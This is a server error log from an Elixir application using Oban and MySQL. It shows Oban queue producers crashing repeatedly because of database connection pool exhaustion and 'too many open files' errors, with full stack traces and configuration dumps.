State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:51:49.243654Z], limit: 50, uuid: "44aaf365-5311-4c8c-a120-d148947f2793", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:49.243660Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97632>, refresh_timer: #Reference<0.2525715032.1068236804.239465>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:51:49.239736Z], limit: 3, uuid: "944b4106-649b-445a-9d85-4d0b3f4b5f02", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:49.239741Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97631>, refresh_timer: #Reference<0.2525715032.1121189889.97586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:51:49.239499Z], limit: 5, uuid: "daabf012-20e8-40a7-8b81-b4723f2400ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:49.239507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.246838>, refresh_timer: #Reference<0.2525715032.1121189889.97580>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:01.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:03.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:08.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:11.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:11.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:52:00.240447Z], limit: 5, uuid: "90d9a9be-e262-4f83-8e85-2fbe1003086b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:00.240456Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97807>, refresh_timer: #Reference<0.2525715032.1099169794.246883>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:52:00.244707Z], limit: 5, uuid: "8a6d4c55-7b07-4432-8d5d-cb29b4b494c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:00.244713Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97808>, refresh_timer: #Reference<0.2525715032.1077411843.223043>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:52:00.240049Z], limit: 10, uuid: "fbac759b-abdd-4c67-acaa-a4ce809d0f3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:00.240054Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97751>, refresh_timer: #Reference<0.2525715032.1121189889.97744>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:52:00.240521Z], limit: 50, uuid: "a3a8e977-8fd4-403a-a296-0ab80de39a52", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:00.240526Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97806>, refresh_timer: #Reference<0.2525715032.1121189889.97762>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:52:00.241727Z], limit: 3, uuid: "e3dc6ca4-2e65-428f-9173-8b3833ea9359", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:00.241732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97809>, refresh_timer: #Reference<0.2525715032.1077411843.223039>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:52:00.238969Z], limit: 20, uuid: "694b9249-10a1-4375-a36e-737ca823480d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:52:00.238976Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97750>, refresh_timer: #Reference<0.2525715032.1121189889.97729>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:13.660000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:14.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:14.717000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:22.633000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:22.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:23.294000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:23.509000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
